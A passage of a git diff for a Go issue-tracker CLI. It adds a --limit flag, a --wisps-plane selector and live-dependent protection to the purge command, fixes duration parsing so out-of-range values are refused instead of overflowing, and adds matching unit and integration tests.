_ := cmd.Flags().GetInt("limit") + if limit < 0 { + return HandleErrorRespectJSON("invalid --limit value %d: must be 0 (no limit) or positive", limit) + } // The ROLE refuses an unfiltered durable sweep — that guard is // workapi.ValidateSweepRequest, below every front door. This branch is here @@ -117,30 +152,36 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { // flags a person who typed `bd prune --force` has to reach for. The contract // case RunSweeperRefusesAnUnfilteredDurableSweep proves the guard survives // this branch being deleted. - if scope.tier == issueops.SweepDurable && olderThan == "" && pattern == "" { + if scope.tier != issueops.SweepEphemeral && olderThan == "" && pattern == "" { + command := scope.cmdName + if scope.tier == issueops.SweepWispsPlane { + command += " --wisps-plane" + } return HandleErrorWithHint( - fmt.Sprintf("bd %s requires --older-than or --pattern", scope.cmdName), + fmt.Sprintf("bd %s requires --older-than or --pattern", command), "Protects against accidental bulk deletion. Use `--pattern '*'` to\n"+ " include all closed beads in this scope, or `--older-than 1d`\n"+ " / `--pattern ''` to narrow the deletion.") } request := issueops.SweepRequest{ - Actor: actor, - Tier: scope.tier, - IDPattern: pattern, - ProtectReferenced: scope.protectReferenced, + Actor: actor, + Tier: scope.tier, + IDPattern: pattern, + ProtectReferenced: scope.protectReferenced, + ProtectLiveDependents: scope.protectLiveDependents, + Limit: limit, // A --dry-run and an UNCONFIRMED run ask the role the same question — // "what would this do" — so both send DryRun. --force is this // command's confirmation, not a request field. DryRun: dryRun || !force, } if olderThan != "" { - days, err := parseHumanDuration(olderThan) + age, err := parseOlderThan(olderThan) if err != nil { return HandleErrorRespectJSON("invalid --older-than value %q: %v", olderThan, err) } - cutoff := time.Now().UTC().AddDate(0, 0, -days) + cutoff := time.Now().UTC().Add(-age) request.ClosedBefore = &cutoff } @@ -165,16 +206,16 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { switch { case result.Swept == 0: - return emitSweepEmpty(scope, olderThan, pattern, result) + return emitSweepEmpty(scope, olderThan, pattern, limit, result) case dryRun: - return emitSweepDryRun(scope, result) + return emitSweepDryRun(scope, limit, result) case !force: return emitSweepConfirm(scope, olderThan, pattern, result) } commandDidWrite.Store(true) commandMayEmptyJSONLExport.Store(true) - return emitSweepResult(scope, result) + return emitSweepResult(scope, limit, result) } // warnSweepDefenseSkips reports the candidates the role's own recheck threw @@ -208,12 +249,40 @@ func addReferenceStats(scope purgeScope, stats map[string]interface{}, result is } } -func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops.SweepResult) error { +// addLimitStats reports what --limit left for the next run. It is attached +// only when the caller asked for a limit, so the unlimited shape is unchanged. +func addLimitStats(stats map[string]interface{}, limit int, result issueops.SweepResult) { + if limit <= 0 { + return + } + stats["remaining"] = result.Remaining + stats["has_more"] = result.Remaining > 0 +} + +// printLimitNote tells a text reader that --limit left rows behind. +func printLimitNote(result issueops.SweepResult) { + if result.Remaining > 0 { + fmt.Printf(" Remaining (over --limit): %d — run again to continue\n", result.Remaining) + } +} + +// addLiveDependentStats attaches the live-dependent skip count to a --json +// payload when the protection held anything back, the way pinned_skipped is +// reported. +func addLiveDependentStats(stats map[string]interface{}, result issueops.SweepResult) { + if result.Skipped.LiveDependent > 0 { + stats["live_dependent_skipped"] = result.Skipped.LiveDependent + } +} + +func emitSweepEmpty(scope purgeScope, olderThan, pattern string, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ scope.countKey: 0, "message": fmt.Sprintf("No %ss to %s", scope.subjectNoun, scope.cmdName), } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -225,6 +294,10 @@ func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops msg += fmt.Sprintf(" (matching %q)", pattern) } fmt.Println(msg) + if result.Skipped.LiveDependent > 0 { + fmt.Println(ui.MutedStyle.Render(fmt.Sprintf( + " (%d closed bead(s) protected by live dependents)", result.Skipped.LiveDependent))) + } if result.Skipped.Referenced > 0 { fmt.Println(ui.MutedStyle.Render(fmt.Sprintf( " (%d closed bead(s) protected by open-bead references — use --ignore-references to override)", @@ -233,7 +306,7 @@ func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops return nil } -func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { +func emitSweepDryRun(scope purgeScope, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ "dry_run": true, @@ -245,6 +318,8 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { stats["pinned_skipped"] = result.Skipped.Pinned } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -255,6 +330,9 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { fmt.Printf(" Pinned (skipped): %d\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf(" Live dependent (skipped): %d\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Printf(" %s %d\n", ui.MutedStyle.Render("Referenced (skipped):"), result.Skipped.Referenced) sample := result.ReferencedIDs @@ -271,6 +349,7 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { } fmt.Printf(" %s %s%s\n", ui.MutedStyle.Render("Referenced IDs (sample):"), strings.Join(idStrs, ", "), suffix) } + printLimitNote(result) fmt.Printf("\n(Dry-run mode — no changes made)\n") return nil } @@ -280,10 +359,16 @@ func emitSweepConfirm(scope purgeScope, olderThan, pattern string, result issueo if result.Skipped.Pinned > 0 { fmt.Printf("Skipping %d pinned bead(s)\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf("Skipping %d bead(s) a live bead depends on\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Println(ui.MutedStyle.Render(fmt.Sprintf("Skipping %d referenced bead(s)", result.Skipped.Referenced))) } hint := fmt.Sprintf("bd %s --force", scope.cmdName) + if scope.tier == issueops.SweepWispsPlane { + hint += " --wisps-plane" + } if olderThan != "" { hint += " --older-than " + olderThan } @@ -295,7 +380,7 @@ func emitSweepConfirm(scope purgeScope, olderThan, pattern string, result issueo fmt.Sprintf("Use --force to confirm or --dry-run to preview.\n %s", hint)) } -func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { +func emitSweepResult(scope purgeScope, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ scope.countKey: result.Swept, @@ -306,6 +391,8 @@ func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { stats["pinned_skipped"] = result.Skipped.Pinned } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -316,9 +403,13 @@ func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { fmt.Printf(" Pinned (skipped): %d\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf(" Live dependent (skipped): %d\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Printf(" %s %d\n", ui.MutedStyle.Render("Referenced (skipped):"), result.Skipped.Referenced) } + printLimitNote(result) return nil } @@ -329,53 +420,77 @@ func capitalize(s string) string { return strings.ToUpper(s[:1]) + s[1:] } -// parseHumanDuration parses a human-friendly duration string into days. -// Accepts: "7d", "30d", "24h", "2w", or just a number (treated as days). -func parseHumanDuration(s string) (int, error) { +// parseOlderThan parses an --older-than value into an age. +// +// Day-denominated values keep the meaning they always had: a bare number is +// days ("7"), and "7d" / "2w" are days and weeks. Anything else is a Go +// duration with hour precision or finer — "36h", "168h", "90m", "1h30m" — and +// is taken exactly; "Nh" used to be floored to whole days, which made "36h" +// sweep rows only 24 hours old. The suffix letters are case-insensitive, as +// they always were. The age must be positive. +func parseOlderThan(s string) (time.Duration, error) { s = strings.TrimSpace(s) if s == "" { return 0, fmt.Errorf("empty duration") } - // Plain number = days if days, err := strconv.Atoi(s); err == nil { - if days <= 0 { - return 0, fmt.Errorf("duration must be positive") - } - return days, nil + return daysAge(int64(days)) } - // Parse suffix unit := s[len(s)-1] - numStr := s[:len(s)-1] - num, err := strconv.Atoi(numStr) - if err != nil { - return 0, fmt.Errorf("invalid number %q", numStr) + switch unit { + case 'd', 'D', 'w', 'W': + num, err := strconv.Atoi(s[:len(s)-1]) + if err != nil { + return 0, fmt.Errorf("invalid number %q", s[:len(s)-1]) + } + days := int64(num) + if unit == 'w' || unit == 'W' { + if days > maxOlderThanDays/7 || days < -maxOlderThanDays/7 { + return 0, errOlderThanRange + } + days *= 7 + } + return daysAge(days) } - if num <= 0 { + + age, err := time.ParseDuration(strings.ToLower(s)) + if err != nil { + // time.ParseDuration refuses an out-of-range value ("9999999h") the + // same way it refuses a malformed one, so neither can wrap around. + return 0, fmt.Errorf("invalid or out-of-range duration %q (use a number of days, Nd, Nw, or a duration such as 36h or 90m)", s) + } + return positiveAge(age) +} + +// maxOlderThanDays is the largest day count a time.Duration can hold. A larger +// value used to overflow silently — 213504d wrapped to 25 minutes — which on a +// destructive command selected nearly everything instead of nothing. +const maxOlderThanDays = math.MaxInt64 / int64(24*time.Hour) + +var errOlderThanRange = fmt.Errorf("duration out of range (at most %d days)", maxOlderThanDays) + +func daysAge(days int64) (time.Duration, error) { + if days > maxOlderThanDays { + return 0, errOlderThanRange + } + return positiveAge(time.Duration(days) * 24 * time.Hour) +} + +func positiveAge(age time.Duration) (time.Duration, error) { + if age <= 0 { return 0, fmt.Errorf("duration must be positive") } - - switch unit { - case 'h', 'H': - days := num / 24 - if days == 0 { - days = 1 // minimum 1 day - } - return days, nil - case 'd', 'D': - return num, nil - case 'w', 'W': - return num * 7, nil - default: - return 0, fmt.Errorf("unknown unit %q (use h, d, or w)", string(unit)) - } + return age, nil } func init() { purgeCmd.Flags().BoolP("force", "f", false, "Actually purge (without this, shows preview)") purgeCmd.Flags().Bool("dry-run", false, "Preview what would be purged with stats") - purgeCmd.Flags().String("older-than", "", "Only purge beads closed more than N ago (e.g., 7d, 2w, 30)") + purgeCmd.Flags().String("older-than", "", "Only purge beads closed more than N ago (e.g., 7d, 2w, 30, 36h)") + purgeCmd.Flags().Int("limit", 0, "Purge at most N beads this run, oldest-closed first (0 = no limit); --json reports remaining/has_more") + purgeCmd.Flags().Bool("wisps-plane", false, "Select every closed row in the wisps table, including --no-history beads (requires --older-than or --pattern)") purgeCmd.Flags().String("pattern", "", "Only purge beads matching ID glob pattern (e.g., *-wisp-*)") rootCmd.AddCommand(purgeCmd) } diff --git a/cmd/bd/purge_test.go b/cmd/bd/purge_test.go index 89d84bb1b..d44cf8221 100644 --- a/cmd/bd/purge_test.go +++ b/cmd/bd/purge_test.go @@ -1,40 +1,68 @@ package main -import "testing" +import ( + "testing" + "time" +) -func TestParseHumanDuration(t *testing.T) { +// TestParseOlderThan pins --older-than on both `bd purge` and `bd prune`. +// Day-denominated values keep their meaning; hour (and finer) values are taken +// exactly rather than floored to whole days — "36h" used to become 24h and +// sweep rows younger than the caller asked for. +func TestParseOlderThan(t *testing.T) { + const day = 24 * time.Hour tests := []struct { input string - want int + want time.Duration wantErr bool }{ - {"7", 7, false}, - {"30", 30, false}, - {"7d", 7, false}, - {"30d", 30, false}, - {"2w", 14, false}, - {"1w", 7, false}, - {"48h", 2, false}, - {"12h", 1, false}, // rounds up to 1 day minimum - {"7D", 7, false}, - {"2W", 14, false}, + // Unchanged day semantics. + {"7", 7 * day, false}, + {"30", 30 * day, false}, + {"7d", 7 * day, false}, + {"30d", 30 * day, false}, + {"2w", 14 * day, false}, + {"1w", 7 * day, false}, + {"7D", 7 * day, false}, + {"2W", 14 * day, false}, + // Hour precision, no longer floored to days. + {"48h", 48 * time.Hour, false}, + {"168h", 7 * day, false}, + {"36h", 36 * time.Hour, false}, + {"12h", 12 * time.Hour, false}, + {"36H", 36 * time.Hour, false}, + {"90m", 90 * time.Minute, false}, + {"1h30m", 90 * time.Minute, false}, + // Refusals. {"", 0, true}, {"0", 0, true}, {"-1", 0, true}, {"0d", 0, true}, + {"0h", 0, true}, + {"-36h", 0, true}, {"abc", 0, true}, {"7x", 0, true}, + {"d", 0, true}, + // Out of range must be refused, never wrapped: 213504d used to + // overflow to 25m26s and select almost every closed row. + {"213504d", 0, true}, + {"213504", 0, true}, + {"30501w", 0, true}, + {"106752d", 0, true}, + {"9223372036854775807d", 0, true}, + {"99999999999h", 0, true}, + // The largest representable day count still parses. + {"106751d", 106751 * day, false}, } for _, tt := range tests { t.Run(tt.input, func(t *testing.T) { - got, err := parseHumanDuration(tt.input) + got, err := parseOlderThan(tt.input) if (err != nil) != tt.wantErr { - t.Errorf("parseHumanDuration(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) - return + t.Fatalf("parseOlderThan(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) } if got != tt.want { - t.Errorf("parseHumanDuration(%q) = %d, want %d", tt.input, got, tt.want) + t.Errorf("parseOlderThan(%q) = %s, want %s", tt.input, got, tt.want) } }) } diff --git a/cmd/bd/purge_wisps_plane_integration_test.go b/cmd/bd/purge_wisps_plane_integration_test.go new file mode 100644 index 000000000..c7147f3ee --- /dev/null +++ b/cmd/bd/purge_wisps_plane_integration_test.go @@ -0,0 +1,207 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "strings" + "testing" + "time" +) + +// purgeScenarioRunner drives one storage mode for the purge retention +// scenario. run never fatals: several steps assert a refusal. +type purgeScenarioRunner struct { + mode string + run func(t *testing.T, args ...string) (stdout, stderr string, err error) +} + +func (r purgeScenarioRunner) must(t *testing.T, args ...string) string { + t.Helper() + stdout, stderr, err := r.run(t, args...) + if err != nil { + t.Fatalf("%s: bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + r.mode, strings.Join(args, " "), err, stdout, stderr) + } + return stdout +} + +func (r purgeScenarioRunner) create(t *testing.T, title string, args ...string) string { + t.Helper() + id := strings.TrimSpace(r.must(t, append([]string{"create", title, "--silent"}, args...)...)) + if id == "" { + t.Fatalf("%s: bd create %q printed no id", r.mode, title) + } + return id +} + +func (r purgeScenarioRunner) exists(t *testing.T, id string) bool { + t.Helper() + _, _, err := r.run(t, "show", id) + return err == nil +} + +// purgeJSON runs a purge that must succeed and decodes its --json object. +func (r purgeScenarioRunner) purgeJSON(t *testing.T, args ...string) map[string]any { + t.Helper() + out := r.must(t, append(append([]string{"purge"}, args...), "--json")...) + start := strings.Index(out, "{") + if start < 0 { + t.Fatalf("%s: bd purge %s --json printed no object:\n%s", r.mode, strings.Join(args, " "), out) + } + var result map[string]any + if err := json.Unmarshal([]byte(out[start:]), &result); err != nil { + t.Fatalf("%s: parse purge JSON: %v\n%s", r.mode, err, out) + } + return result +} + +func jsonCount(result map[string]any, key string) int { + n, _ := result[key].(float64) + return int(n) +} + +// runPurgeRetentionScenario is the retention sweep an orchestrator runs over +// the wisps plane — `bd purge --wisps-plane --older-than --force` — and +// the three things it has to get right: +// +// - the wisps PLANE is the selection, so a closed --no-history bead goes +// with the closed ephemeral wisp while a closed durable bead stays; +// - a closed wisp a live wisp depends on (parent-child, tracks) is kept and +// counted, on the default purge as much as the plane one; +// - --older-than has sub-day precision: rows closed seconds ago are swept +// by "1s" and kept by "36h" (which used to be floored to 24h), and an +// out-of-range value is refused rather than wrapped; +// - --limit drains a backlog in bounded runs, reporting remaining/has_more. +func runPurgeRetentionScenario(t *testing.T, r purgeScenarioRunner) { + t.Helper() + + wisp := r.create(t, "closed wisp", "--ephemeral") + noHistory := r.create(t, "closed no-history bead", "--no-history") + durable := r.create(t, "closed durable bead") + + parent := r.create(t, "closed molecule root", "--ephemeral") + child := r.create(t, "open step", "--ephemeral") + r.must(t, "dep", "add", child, parent, "--type", "parent-child") + + tracked := r.create(t, "closed tracked wisp", "--ephemeral") + convoy := r.create(t, "live convoy", "--ephemeral") + r.must(t, "dep", "add", convoy, tracked, "--type", "tracks") + r.must(t, "update", convoy, "--status", "in_progress") + + r.must(t, "close", wisp, noHistory, durable, tracked) + r.must(t, "close", parent, "--force") + + // Everything above closed within the last few seconds. closed_at is + // stored at second precision, so wait comfortably past one second before + // asking "--older-than 1s" for it. + time.Sleep(2500 * time.Millisecond) + + // The plane selector reaches durable-tier rows, so it takes the durable + // tier's require-a-filter gate. + if stdout, stderr, err := r.run(t, "purge", "--wisps-plane", "--force"); err == nil || + !strings.Contains(stdout+stderr, "requires --older-than or --pattern") { + t.Fatalf("%s: unfiltered purge --wisps-plane: err=%v\n%s%s", r.mode, err, stdout, stderr) + } + + // Hour precision: nothing here is 36 hours old. + if got := r.purgeJSON(t, "--wisps-plane", "--older-than", "36h", "--dry-run"); jsonCount(got, "purge_count") != 0 { + t.Fatalf("%s: --older-than 36h selected rows closed seconds ago: %v", r.mode, got) + } + + preview := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--dry-run") + if jsonCount(preview, "purge_count") != 2 || jsonCount(preview, "live_dependent_skipped") != 2 { + t.Fatalf("%s: dry run = %v; want purge_count 2 (wisp + no-history) and live_dependent_skipped 2 (root + tracked)", + r.mode, preview) + } + + // --limit drains in bounded runs and says whether more remain. + first := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--limit", "1", "--force") + if jsonCount(first, "purged_count") != 1 || jsonCount(first, "remaining") != 1 || first["has_more"] != true { + t.Fatalf("%s: purge --limit 1 = %v; want purged_count 1, remaining 1, has_more true", r.mode, first) + } + result := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--limit", "1", "--force") + if jsonCount(result, "purged_count") != 1 || jsonCount(result, "live_dependent_skipped") != 2 || + jsonCount(result, "remaining") != 0 || result["has_more"] != false { + t.Fatalf("%s: second purge --limit 1 = %v; want purged_count 1, live_dependent_skipped 2, remaining 0, has_more false", + r.mode, result) + } + if stdout, stderr, err := r.run(t, "purge", "--limit", "-1", "--force"); err == nil { + t.Fatalf("%s: purge --limit -1 succeeded:\n%s%s", r.mode, stdout, stderr) + } + if stdout, stderr, err := r.run(t, "purge", "--older-than", "213504d", "--force"); err == nil || + !strings.Contains(stdout+stderr, "out of range") { + t.Fatalf("%s: purge --older-than 213504d must refuse as out of range: err=%v\n%s%s", r.mode, err, stdout, stderr) + } + for id, want := range map[string]bool{ + wisp: false, noHistory: false, + parent: true, child: true, tracked: true, convoy: true, durable: true, + } { + if got := r.exists(t, id); got != want { + t.Errorf("%s: after purge --wisps-plane, %s exists = %v, want %v", r.mode, id, got, want) + } + } + + // The default (ephemeral-tier) purge protects live dependents too, and + // still leaves no-history beads alone. + root2 := r.create(t, "second closed root", "--ephemeral") + step2 := r.create(t, "second open step", "--ephemeral") + r.must(t, "dep", "add", step2, root2, "--type", "parent-child") + r.must(t, "close", root2, "--force") + noHistory2 := r.create(t, "second no-history bead", "--no-history") + r.must(t, "close", noHistory2) + plain := r.purgeJSON(t, "--force") + if jsonCount(plain, "live_dependent_skipped") < 1 { + t.Errorf("%s: default purge reported no live-dependent skip: %v", r.mode, plain) + } + if !r.exists(t, root2) { + t.Errorf("%s: default purge deleted %s, whose step %s is still open", r.mode, root2, step2) + } + if !r.exists(t, noHistory2) { + t.Errorf("%s: default purge deleted no-history bead %s; only --wisps-plane selects it", r.mode, noHistory2) + } +} + +func embeddedPurgeScenarioRunner(bd, dir string) purgeScenarioRunner { + return purgeScenarioRunner{ + mode: "embedded", + run: func(t *testing.T, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err + }, + } +} + +func proxiedPurgeScenarioRunner(bd string, p proxiedProject) purgeScenarioRunner { + return purgeScenarioRunner{ + mode: "proxied", + run: func(t *testing.T, args ...string) (string, string, error) { + t.Helper() + return bdProxiedRunBuffers(t, bd, p.dir, args...) + }, + } +} + +func TestEmbeddedPurgeWispsPlaneRetention(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "pwp") + runPurgeRetentionScenario(t, embeddedPurgeScenarioRunner(bd, dir)) +} + +func TestProxiedServerPurgeWispsPlaneRetention(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "pwx") + runPurgeRetentionScenario(t, proxiedPurgeScenarioRunner(bd, p)) +} diff --git a/cmd/bd/purge_wisps_plane_managed_local_test.go b/cmd/bd/purge_wisps_plane_managed_local_test.go new file mode 100644 index 000000000..0a4d6a741 --- /dev/null +++ b/cmd/bd/purge_wisps_plane_managed_local_test.go @@ -0,0 +1,19 @@ +//go:build cgo && unix + +package main + +import ( + "testing" + "time" +) + +// TestManagedLocalProxiedPurgeWispsPlaneRetention runs the purge retention +// scenario on the managed-local proxied topology, the default for a proxied +// workspace bd starts the Dolt server for. Named TestManagedLocalProxied* so +// the proxied-local smoke lane runs it. +func TestManagedLocalProxiedPurgeWispsPlaneRetention(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "pwl", 5*time.Minute) + runPurgeRetentionScenario(t, proxiedPurgeScenarioRunner(bd, p)) +} diff --git a/internal/storage/dolt/sweeper_contract_test.go b/internal/storage/dolt/sweeper_contract_test.go index 9c025b9b0..d01d2e96b 100644 --- a/internal/storage/dolt/sweeper_contract_test.go +++ b/internal/storage/dolt/sweeper_contract_test.go @@ -35,6 +35,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -98,6 +113,16 @@ func newDoltSweeperFixture(t *testing.T, prefix string) (conformance.SweeperFixt } return nil }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + editor, err := store.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 6905afb62..b44cdc2a1 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -933,6 +933,13 @@ func (r *issueSQLRepositoryImpl) SearchAcrossIssuesAndWispsWithCounts(ctx contex return r.searchAcrossIssuesAndWispsWithCounts(ctx, query, filter) } +// SearchWispsPlane runs the shared wisps-plane search body on this +// repository's transaction, so the unit-of-work provider and the two store +// backends read the plane through one function. +func (r *issueSQLRepositoryImpl) SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + return issueops.SearchWispsPlaneInTx(ctx, r.runner, query, filter) +} + func (r *issueSQLRepositoryImpl) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) { return issueops.SearchIssueIDsInTx(ctx, r.runner, query, filter) } diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index cadb0fd22..a8137338a 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -72,6 +72,10 @@ type IssueSQLRepository interface { SearchAcrossIssuesAndWisps(ctx context.Context, query string, filter types.IssueFilter) (SearchPage, error) SearchAcrossIssuesAndWispsWithCounts(ctx context.Context, query string, filter types.IssueFilter) (SearchCountsPage, error) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) + // SearchWispsPlane searches the wisps table ALONE, whatever each row's + // ephemeral, no_history or wisp_type values, and never the issues table + // (issueops.SearchWispsPlaneInTx). + SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) GetReadyWork(ctx context.Context, filter types.WorkFilter) (SearchPage, error) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) (SearchCountsPage, error) GetDescendants(ctx context.Context, rootID string, filter types.IssueFilter) ([]*types.Issue, error) @@ -308,6 +312,10 @@ type IssueUseCase interface { SearchIssues(ctx context.Context, query string, filter types.IssueFilter) (SearchPage, error) SearchIssuesWithCounts(ctx context.Context, query string, filter types.IssueFilter) (SearchCountsPage, error) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) + // SearchWispsPlane searches the wisps table ALONE, whatever each row's + // ephemeral, no_history or wisp_type values, and never the issues table + // (issueops.SearchWispsPlaneInTx). + SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) GetReadyWork(ctx context.Context, filter types.WorkFilter) (SearchPage, error) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) (SearchCountsPage, error) GetDescendants(ctx context.Context, rootID string, filter types.IssueFilter) ([]*types.Issue, error) @@ -843,6 +851,14 @@ func (u *issueUseCaseImpl) SearchIssues(ctx context.Context, query string, filte return out, nil } +func (u *issueUseCaseImpl) SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + out, err := u.issueRepo.SearchWispsPlane(ctx, query, filter) + if err != nil { + return nil, fmt.Errorf("SearchWispsPlane: %w", err) + } + return out, nil +} + func (u *issueUseCaseImpl) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) { out, err := u.issueRepo.SearchIssueIDs(ctx, query, filter) if err != nil { diff --git a/internal/storage/embeddeddolt/sweeper_contract_test.go b/internal/storage/embeddeddolt/sweeper_contract_test.go index 2d221219c..7a2e550e0 100644 --- a/internal/storage/embeddeddolt/sweeper_contract_test.go +++ b/internal/storage/embeddeddolt/sweeper_contract_test.go @@ -40,6 +40,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -99,6 +114,16 @@ func newEmbeddedSweeperFixture(t *testing.T, te *testEnv, prefix string) conform } return nil }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + editor, err := te.store.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/storage/issueops/search.go b/internal/storage/issueops/search.go index bd19def52..df0ff5b95 100644 --- a/internal/storage/issueops/search.go +++ b/internal/storage/issueops/search.go @@ -32,6 +32,35 @@ func SearchIssueIDsInTx(ctx context.Context, tx DBTX, query string, filter types return searchInTx(ctx, tx, query, filter, idProjection) } +// SearchWispsPlaneInTx searches the wisps plane ALONE: every row stored in +// the wisps table, whatever its ephemeral, no_history or wisp_type values, and +// never the issues table. +// +// It is not SearchIssuesInTx with Ephemeral=true. That filter adds an +// "ephemeral = 1" clause, which drops the no-history rows stored beside the +// wisps, and it falls back to the issues table when the wisps plane is empty. +// This answers "what is in the wisps table" — the unit +// issueops.SweepWispsPlane selects by — and a database with no wisps table +// answers with nothing. +func SearchWispsPlaneInTx(ctx context.Context, tx DBTX, query string, filter types.IssueFilter) ([]*types.Issue, error) { + proj := issueProjection + if filter.Lite { + proj = issueLiteProjection + } + results, err := searchTableInTxT(ctx, tx, query, filter, WispsFilterTables, proj) + if err != nil { + if missingOptionalWispTable(err) { + return nil, nil + } + return nil, fmt.Errorf("search wisps plane: %w", err) + } 